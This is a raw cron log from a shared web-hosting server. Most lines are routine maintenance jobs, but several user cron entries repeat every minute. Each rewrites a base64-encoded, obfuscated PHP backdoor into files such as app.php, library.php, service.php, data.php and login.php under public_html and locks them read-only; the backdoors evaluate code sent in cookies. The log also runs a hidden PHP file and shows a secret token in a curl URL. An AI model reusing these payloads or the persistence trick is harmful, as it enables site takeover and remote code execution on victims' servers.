Mar  1 15:30:02 medusa CROND[18550]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:30:02 medusa CROND[18554]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18560]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18555]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:30:02 medusa CROND[18566]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:30:02 medusa CROND[18568]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:30:02 medusa CROND[18569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18564]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 15:30:02 medusa CROND[18575]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:30:02 medusa CROND[18579]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:30:02 medusa CROND[18580]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 15:30:02 medusa CROND[18574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:30:02 medusa CROND[18581]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:30:02 medusa CROND[18585]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:30:02 medusa CROND[18584]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 15:30:02 medusa CROND[18588]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:30:02 medusa CROND[18590]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:30:02 medusa CROND[18591]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18586]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18578]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:30:02 medusa CROND[18640]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 15:30:02 medusa CROND[18641]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:31:01 medusa CROND[8238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:31:02 medusa CROND[8287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:31:02 medusa CROND[8288]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:31:02 medusa CROND[8291]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:31:02 medusa CROND[8293]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:31:02 medusa CROND[8294]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:31:02 medusa CROND[8296]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:31:02 medusa CROND[8295]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:31:02 medusa CROND[8310]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:31:02 medusa CROND[8309]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:31:02 medusa CROND[8311]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:31:02 medusa CROND[8313]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:31:02 medusa CROND[8315]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:32:01 medusa CROND[30310]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:32:02 medusa CROND[30419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:32:02 medusa CROND[30420]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:32:02 medusa CROND[30418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:32:02 medusa CROND[30421]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:32:02 medusa CROND[30423]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
